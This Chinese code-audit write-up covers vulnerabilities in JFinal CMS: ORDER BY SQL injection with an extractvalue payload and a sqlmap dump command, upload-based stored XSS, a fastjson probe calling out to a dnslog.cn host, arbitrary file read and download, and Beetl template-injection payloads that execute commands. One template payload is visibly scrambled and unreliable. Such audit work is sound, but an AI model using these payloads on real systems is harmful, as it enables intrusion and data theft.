环境配置
Maven
mysql
mysql.jdbcUrl =jdbc:mysql://127.0.0.1:3306/jflyfox?characterEncoding=UTF-
8&zeroDateTimeBehavior=convertToNull&allowPublicKeyRetrieval=true&serverTimezone=UTC&us
eSSL=false
mysql.user = root
mysql.password = root
mysql.driverClass = com.mysql.cj.jdbc.Driver
create database jflyfox;
use jflyfox;
source jfinal_cms_v4.sql;
tomcat
信息收集
重点关注项⽬中的框架有哪些,pom.xml,以及web.xml。
⽐如spring框架,ssm框架,shiro框架等
pom 使⽤了那些依赖,是否有危险组件
web 映射关系,配置问题等
这⾥存在jsp解析库,如果有⽂件上传可getshell
这⾥也使⽤了log4j但是版本为1.x 不受影响
⽂件上传组件
fastjson组件
beetl模板
源码解读
在README⽂档中,作者说使⽤了JFinal框架,这个框架⾃然没有spring那种⽐较简洁整⻬,代码中的sql语句都是使⽤传统的查询拼接⽅式,这种也是较为少⻅的,那既然拼接,⼤概率会存在sql注⼊。
因为没有spring那种sql查询的xml⽂档,所以就要进⾏关键字搜索,或者挨个查找Controller控制器。
细⼼发现,每⼀个⽬录都包含4个⽂件,且四个⽂件都存在关联
TbCommnet为set/get⽅法
CommentContants 为常量
CommentService 为调⽤类 其中包含set/get⽅法,以及常量的使⽤。
Controller为控制器类,映射参数到web某个功能点。
讲完了代码结构,是不是感觉⾃⼰突然就懂了。
那么就开始挖掘sql注⼊,因为很久没得更新审计⽂章了,本次就多挖掘⼏个漏洞,带你们回顾⼀下最基本的拼接sql,如何进⾏审计漏洞(之前的⽂章中貌似都是mybatis框架)。
SQL注⼊1
src/main/java/com/jflyfox/modules/admin/comment/CommentController.java
@ControllerBind(controllerKey = "/admin/comment")
public class CommentController extends BaseProjectController {
private static final String path = "/pages/admin/comment/comment_";
public void list() {
TbComment model = getModelByAttr(TbComment.class);
SQLUtils sql = new SQLUtils(" from tb_comment t " //
+ " left join tb_article a on a.id = t.article_id where 1=1 ");
if (model.getAttrValues().length != 0) {
sql.setAlias("t");
// 查询条件
sql.whereLike("content", model.getStr("content"));
sql.whereEquals("article_id", model.getInt("article_id"));
}
// 排序
String orderBy = getBaseForm().getOrderBy();
if (StrUtils.isEmpty(orderBy)) {
sql.append(" order by t.id desc ");
} else {
sql.append(" order by ").append(orderBy);
}
Page<TbComment> page = TbComment.dao.paginate(getPaginator(), "select t.*,a.title
articleName ", //
sql.toString().toString());
这⾥存在list⽅法,然后存在sql查询,在下⾯使⽤了排序,字段为orderBy,进⼊循环,判断是否为空,为空就desc排序,不为空就使⽤传⼊的orderBy。跟踪getBaseForm⽅法
src/main/java/com/jflyfox/jfinal/base/BaseController.java
这⾥是从表单中获取数据,跟进BaseForm,直接是set/get⽅法
这⾥都不存在过滤,就直接带⼊查询。
Page<TbComment> page = TbComment.dao.paginate(getPaginator(), "select t.*,a.title
articleName ", //
sql.toString().toString());
到web⻚⾯,找到对应的功能点,抓包
http://192.168.77.118:8080/admin/comment/list
POST /admin/comment/list HTTP/1.1
Host: 192.168.77.118:8080
Content-Length: 116
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.77.118:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.188
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,a
pplication/signed-exchange;v=b3;q=0.7
Referer: http://192.168.77.118:8080/admin/comment/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: __bid_n=18866ec09d3faa66704207;
FPTOKEN=1sfkbcdKDKq8tYJyKF8p/zVQPOubQ2ZW09T4Rk33AdOU1X6PHpEodJlS6J1FDi4ze/ouYaESS8/CElb
olPexQVCPJLpUfXPHcfD1F5PxyoMyLPXlylxgyY8ksfwJ+HlBry8yjh8omid4cza0BTP0OojKxWvHJnICglbwl8
bDxhL1AqCctc3y+Fhaxqot+8YtE0N/E4twEH/e2b0b6mfj3ubDAUR5oHjv4Ru0y0xYuGyy4S7+mXfsSGnQttZoD
dAJPDyQvPME8z6zeuNwgCeUZjMiIbreWNpqzOwmtD5ATOoHVGkIov46bHTGTwnxPLz5gMJCf9RVTQNxrHspB02q
3s2gAbIiuVcToexKJRAScm50q9Nk8qALwvxowlGx85zkGXbuCWhee4aCSmASLa6zxPDJXnE14LfSqR0YCumsBqx
CrqE6M5jfhOfpXOdTK4aX|os4ROPgKWbRa3JrCwzTGPHk4Jlxke2f5EcxPk801K0o=|10|9e5191bdc892d0e17
589844cc5900255; JSESSIONID=55335530E57F0801AB3A190FA2BD711A;
Hm_lvt_1040d081eea13b44d84a4af639640d51=1690769930;
session_user=wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c=;
Hm_lpvt_1040d081eea13b44d84a4af639640d51=1690769940
Connection: close
form.orderColumn=&form.orderAsc=&attr.article_id=3001&attr.content=111&totalRecords=3&p
ageNo=1&pageSize=20&length=10
payload
'0+and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))%23
Sqlmap 查询数据
python3 sqlmap.py -r 1.txt --dump
⼜查看了其他的注⼊点,发现都是和这个排序有关系,只要调⽤了orderBy 都存在注⼊,那我这⾥就不演示了
⽂件上传–⽆解析–存储xss
src/main/java/com/jflyfox/modules/filemanager/FileManagerController.java
调试跟踪 会创建⼀个临时⽬录和临时⽂件
然后写⼊内容,没有对后缀做限制
抓包,获取访问路径,直接/hello.jsp
随后404,这是什么情况
74⾏,打个断点,跟踪下
在拦截器⾥找到了原因,
此时就⽆法getshell,但我们可以尝试上传pdf,svg,html,造成存储xss的危害。
fastjson反序列化
全局搜索parseObject
发现多处调⽤
src/main/java/com/jflyfox/api/form/ApiForm.java
getParams 使⽤的是private 所以要找 public属性的⽅法调⽤getParams
右键 find useges,发现get⽅法
但get⽅法仅在本类中调⽤,如果要执⾏get⽅法,只能获取本类的字节码⽂件,通过反射调⽤
好巧不巧的是,ApiForm类在ApiController#getForm中,获取了他的字节码
action⽅法调⽤了getForm⽅法
57⾏⼜调⽤了action⽅法,最终是通过反射调⽤,符合刚才的判断。
接⼝⽂档这⾥没有太多细节,在README⽂档中作者给了api地址,从⾥⾯查找到了⼀些参数和路径
这些参数在⼀开始的代码也存在
apiNo默认为空,所以随便写,版本1.0.0 时间按照yyyyMMddHHmmss,时间戳也可以,因为前⾯代码要判断登录状态,所以拼上login,post⽅式
POST /api/action/login?version=1.0.0&apiNo=1&time=20230801100402 HTTP/1.1
Host: 192.168.79.6:9090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.188
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,a
pplication/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=9C353B3A2AD849AD9314B1DB12303213
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 60
p={"@type":"java.net.Inet4Address","val":"vxnt9i.dnslog.cn"}
任意⽂件读取
接着上⾯的⽂件上传漏洞,直接打开⽂件管理代码
180⾏,直接读取内容,跟进getRealFilePath()
跟进getFilePath()
获取path路径,没有做限制
跟进editFile
依然对应的模板管理⻚⾯,抓包,因为它设置的路径是从⽹站/开始,不是系统/路径,所以读的内容有限制。
任意⽂件下载
和上⾯的读取逻辑是⼀样的
也没有做过滤,直接下载,给他制定固定名称和路径即可,同理删除漏洞也存在。
SSTI模版注⼊
在信息收集的过程中,有发现到使⽤了模板,介绍如下
Beetl是⼀种Java模板引擎,⽤于⽣成动态内容。它提供了⼀种简单⽽强⼤的⽅式来将数据和模板结合,⽣成最终的输出。Beetl具有⾼性能、易于使⽤和灵活的特点,被⼴泛应⽤于Java Web开发中。它⽀持模板继承、条件判断、循环、变量定义等常⻅的模板语法,同时还提供了丰富的内置函数和标签库,⽅便开发者进⾏模板的定制和扩展。
语法学习移步⾄官⽹。https://www.kancloud.cn/xiandafu/beetl3_guide/2138960
官⽅⽂档说 不能直接使⽤危险函数,但是没有说不能⽤反射,为什么我知道可以⽤反射,因为在之前三篇模板注⼊教程中有讲过。
⼿写反射代码
package com;
import java.lang.reflect.Method;
public class Demo {
public static void main(String[] args) throws Exception {
//获取runtime类
Class<?> aClass = Class.forName("java.lang.Runtime");
//获取exec⽅法
Method exec = aClass.getMethod("exec", String.class);
//获取getruntime
Method getRuntime = aClass.getMethod("getRuntime", null);
//调⽤函数
Object o = getRuntime.invoke(null, null);
//执⾏命令
exec.invoke(o,"open -a calculator");
}
}
最终payload
${"java.lang.Runtime").getMethod("exec", .lang.Class.forNa .lang.Class.forName(
me("java.lang.String")).invoke( .lang.Class.forName("java.lang.Runtime").getMethod(
"getRuntime",null).invoke(null,null),"open -a calculator")}
在page/template下,粘贴以上payload
payload2
${@Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js"
).eval("s='open -a Calculator';java.lang.Runtime.getRuntime().exec(s);")}
反射xss
查看了过滤器和拦截器,不存在过滤代码。
后台狂插。
原文始发于微信公众号(轩公子谈技术):论坛系统代码审计